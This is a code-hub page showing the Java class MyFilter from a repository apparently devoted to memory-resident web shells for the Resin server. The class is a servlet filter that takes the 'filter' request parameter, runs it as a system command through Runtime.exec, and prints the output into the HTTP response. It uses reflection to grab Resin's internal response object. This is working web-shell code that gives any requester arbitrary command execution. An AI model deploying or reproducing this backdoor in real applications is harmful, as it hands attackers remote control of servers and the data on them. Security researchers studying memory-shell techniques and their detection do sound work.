MCPcopy Create free account
hub / github.com/ax1sX/MemShell / MyFilter

Class MyFilter

ResinMemShell/src/main/java/com/axisx/MyFilter.java:12–69  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

10import java.lang.reflect.Field;
11
12public class MyFilter implements Filter {
13 @Override
14 public void init(FilterConfig filterConfig) throws ServletException {
15 System.out.println("Filter 创建");
16 }
17
18 @Override
19 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException, IOException {
20 HttpServletRequest req = (HttpServletRequest)servletRequest;
21 HttpServletResponse resp = null;
22
23 try {
24 resp = this.getResponseFromRequest(req);
25 String cmd = req.getParameter("filter");
26 String result = this.CommandExec(cmd);
27 resp.getWriter().println(result);
28 } catch (Exception var8) {
29 var8.printStackTrace();
30 }
31// filterChain.doFilter(servletRequest, servletResponse);
32 }
33
34 @Override
35 public void destroy() {
36 System.out.println("Filter 销毁!");
37 }
38
39 public String CommandExec(String cmd) throws Exception {
40 Runtime rt = Runtime.getRuntime();
41 Process proc = rt.exec(cmd);
42 InputStream stderr = proc.getInputStream();
43 InputStreamReader isr = new InputStreamReader(stderr);
44 BufferedReader br = new BufferedReader(isr);
45 String line = null;
46 StringBuffer sb = new StringBuffer();
47 while ((line = br.readLine()) != null) {
48 sb.append(line + "\n");
49 }
50 return sb.toString();
51 }
52
53 public synchronized HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws IllegalAccessException {
54 HttpServletResponse var2 = null;
55 Field var3 = null;
56 try {
57 var3 = var1.getClass().getDeclaredField("_response");
58 } catch (Exception var8) {
59 try {
60 var3=var1.getClass().getSuperclass().getDeclaredField("_response");
61 } catch (Exception var7) {
62 }
63 }
64 var3.setAccessible(true);
65 var2 = (HttpServletResponse)var3.get(var1);
66
67 return var2;
68 }
69}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected